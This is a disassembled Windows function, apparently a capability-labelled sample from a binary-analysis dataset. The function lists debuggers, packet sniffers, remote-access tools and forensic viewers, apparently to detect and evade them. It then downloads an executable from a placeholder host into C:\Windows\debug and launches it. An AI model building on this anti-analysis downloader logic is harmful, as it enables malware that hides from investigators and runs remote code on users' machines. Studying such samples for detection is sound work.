Function at 0x18003a8f0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x490]
sub rsp, 0x590
mov rax, qword [0x180113040]
xor rax, rsp
mov qword [rbp + 0x480], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3a0], xmm0
mov qword [rbp + 0x3b0], rax
lea rdx, str.AnyDesk
lea rcx, [rsp + 0x60]
call fcn.18003afd0
nop
lea rdx, str.Beamer
lea rcx, [rbp - 0x80]
call fcn.18003afd0
nop
lea rdx, str.HTTPDEBUGGER
lea rcx, [rbp - 0x60]
call fcn.18003afd0
nop
lea rdx, str.http_debugger
lea rcx, [rbp - 0x40]
call fcn.18003afd0
nop
lea rdx, str.x64dbg
lea rcx, [rbp - 0x20]
call fcn.18003afd0
nop
lea rdx, str.debugger
lea rcx, [rbp]
call fcn.18003afd0
nop
lea rdx, str.disassembler
lea rcx, [rbp + 0x20]
call fcn.18003afd0
nop
lea rdx, str.decompiler
lea rcx, [rbp + 0x40]
call fcn.18003afd0
nop
lea rdx, str.fiddler
lea rcx, [rbp + 0x60]
call fcn.18003afd0
nop
lea rdx, str.wireshark
lea rcx, [rbp + 0x80]
call fcn.18003afd0
nop
lea rdx, str.ollydbg
lea rcx, [rbp + 0xa0]
call fcn.18003afd0
nop
lea rdx, str.analysis_tool
lea rcx, [rbp + 0xc0]
call fcn.18003afd0
nop
lea rdx, str.Network_traffic_dump_tool
lea rcx, [rbp + 0xe0]
call fcn.18003afd0
nop
lea rdx, str.petool
lea rcx, [rbp + 0x100]
call fcn.18003afd0
nop
lea rdx, str.Wireshark_packet_sniffer
lea rcx, [rbp + 0x120]
call fcn.18003afd0
nop
lea rdx, str.Part_of_Sysinternals_Suite
lea rcx, [rbp + 0x140]
call fcn.18003afd0
nop
lea rdx, str.Network_Analyzer
lea rcx, [rbp + 0x160]
call fcn.18003afd0
nop
lea rdx, str.Beamer_x64__Elevated_
lea rcx, [rbp + 0x180]
call fcn.18003afd0
nop
lea rdx, [0x180104e10]
lea rcx, [rbp + 0x1a0]
call fcn.18003afd0
nop
lea rdx, str.TeamViewer
lea rcx, [rbp + 0x1c0]
call fcn.18003afd0
nop
lea rdx, str.Everything
lea rcx, [rbp + 0x1e0]
call fcn.18003afd0
nop
lea rdx, str.Registry_Editor
lea rcx, [rbp + 0x200]
call fcn.18003afd0
nop
lea rdx, str.JournalTrace
lea rcx, [rbp + 0x220]
call fcn.18003afd0
nop
lea rdx, str.Easy_Journal_Viewer
lea rcx, [rbp + 0x240]
call fcn.18003afd0
nop
lea rdx, str.Echo_String_Scanner
lea rcx, [rbp + 0x260]
call fcn.18003afd0
nop
lea rdx, str.Echo_BAM_Log_Viewer
lea rcx, [rbp + 0x280]
call fcn.18003afd0
nop
lea rdx, str.Echo_User_Assist_Viewer
lea rcx, [rbp + 0x2a0]
call fcn.18003afd0
nop
lea rdx, str.Administrator:_DRE_Files
lea rcx, [rbp + 0x2c0]
call fcn.18003afd0
nop
lea rdx, str.ShellBagsView
lea rcx, [rbp + 0x2e0]
call fcn.18003afd0
nop
lea rdx, str.WinPrefetchView
lea rcx, [rbp + 0x300]
call fcn.18003afd0
nop
lea rdx, str.Timeline_Explorer
lea rcx, [rbp + 0x320]
call fcn.18003afd0
nop
lea rdx, [0x180104fd0]
lea rcx, [rbp + 0x340]
call fcn.18003afd0
nop
lea rdx, str.ProcessHacker
lea rcx, [rbp + 0x360]
call fcn.18003afd0
nop
lea rdx, str.SystemInformer
lea rcx, [rbp + 0x380]
call fcn.18003afd0
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3a0], xmm0
xor esi, esi
mov qword [rbp + 0x3b0], rsi
mov ecx, 0x440
call fcn.1800a3aa0
mov rdi, rax
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3a8], rax
lea rcx, [rax + 0x440]
mov qword [rbp + 0x3b0], rcx
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b8], xmm0
mov qword [rbp + 0x3b8], rdi
mov qword [rbp + 0x3c0], rdi
lea rax, [rbp + 0x3a0]
mov qword [rbp + 0x3c8], rax
mov rdx, rbx
mov rcx, rdi
call fcn.1800013f0
add rdi, 0x20
mov qword [rbp + 0x3c0], rdi
add rbx, 0x20
lea rax, [rbp + 0x3a0]
cmp rbx, rax
jne 0x18003ac35
mov rdx, rdi
mov rcx, rdi
call fcn.18003b180
mov qword [rbp + 0x3a8], rdi
lea r9, [0x180001380]
mov edx, 0x20
mov r8d, 0x22
lea rcx, [rsp + 0x60]
call fcn.1800a4248
lea rdx, str.https:__exemplo.com_arquivo.exe
lea rcx, [rbp + 0x3f0]
call fcn.18003afd0
nop
lea rdx, str.C:Windowsdebug_arquivo.exe
lea rcx, [rbp + 0x3d0]
call fcn.18003afd0
nop
lea rcx, [rbp + 0x3a0]
call fcn.18003a2e0
test al, al
je 0x18003ad67
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x3f0]
call fcn.18003a650
test al, al
je 0x18003ad67
mov dword [rbp + 0x410], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x418], xmm0
movups xmmword [rbp + 0x428], xmm0
movups xmmword [rbp + 0x438], xmm0
movups xmmword [rbp + 0x448], xmm0
movups xmmword [rbp + 0x458], xmm0
movups xmmword [rbp + 0x468], xmm0
lea rcx, [rbp + 0x3d0]
cmp qword [rbp + 0x3e8], 7
cmova rcx, qword [rbp + 0x3d0]
lea rax, [rbp + 0x3b8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x410]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
nop
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 7
jbe 0x18003adb0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003adab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003adab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800a3ae4
movdqa xmm0, xmmword [0x180105240]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3d0], si
mov rdx, qword [rbp + 0x408]
cmp rdx, 7
jbe 0x18003ae18
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003ae0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003ae0b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800a3ae4
movdqa xmm0, xmmword [0x180105240]
movdqu xmmword [rbp + 0x400], xmm0
mov word [rbp + 0x3f0], si
lea rcx, [rbp + 0x3a0]
call fcn.18003b110
xor eax, eax
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.1800a3a80
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret